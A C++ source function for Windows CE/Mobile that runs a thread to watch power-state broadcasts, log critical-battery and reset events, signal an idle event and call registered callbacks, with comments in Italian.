DWORD WINAPI PowerStateNotifier(LPVOID lpParam) { Device *deviceObj = Device::self(); Log logInfo; HANDLE hQueue, hIdle; DWORD dwRet, dwRead = 0, dwFlags = 0; POWER_BROADCAST *powerBroad; BYTE bd[sizeof(POWER_BROADCAST) + (MAX_PATH + 1) * sizeof(WCHAR)]; powerBroad = (POWER_BROADCAST *)bd; //SetThreadPriority(GetCurrentThread(), THREAD_PRIORITY_HIGHEST); hQueue = (HANDLE)lpParam; hIdle = deviceObj->getIdleEvent(); LOOP { dwRet = WaitForSingleObject(hQueue, INFINITE); if (bResetStop) { DBG_TRACE(L"Debug - Device.cpp - PowerStateNotifier() thread closing\n", 1, FALSE); return 0; } if (ReadMsgQueue(hQueue, powerBroad, sizeof(bd), &dwRead, 1, &dwFlags)) { if (powerBroad->Message & PBT_TRANSITION) { switch (powerBroad->Flags) { //case POWER_STATE_OFF: // logInfo.WriteLogInfo(L"Power off"); // break; case POWER_STATE_CRITICAL: logInfo.WriteLogInfo(L"Phone is turning off, battery level critical"); break; case POWER_STATE_RESET: logInfo.WriteLogInfo(L"Reset"); break; default: break; } // Avvertiamo il thread che il powerstate e' cambiato SetEvent(hIdle); } } // Richiama tutte le callback registrate deviceObj->CallRegisteredCallbacks(powerBroad); } }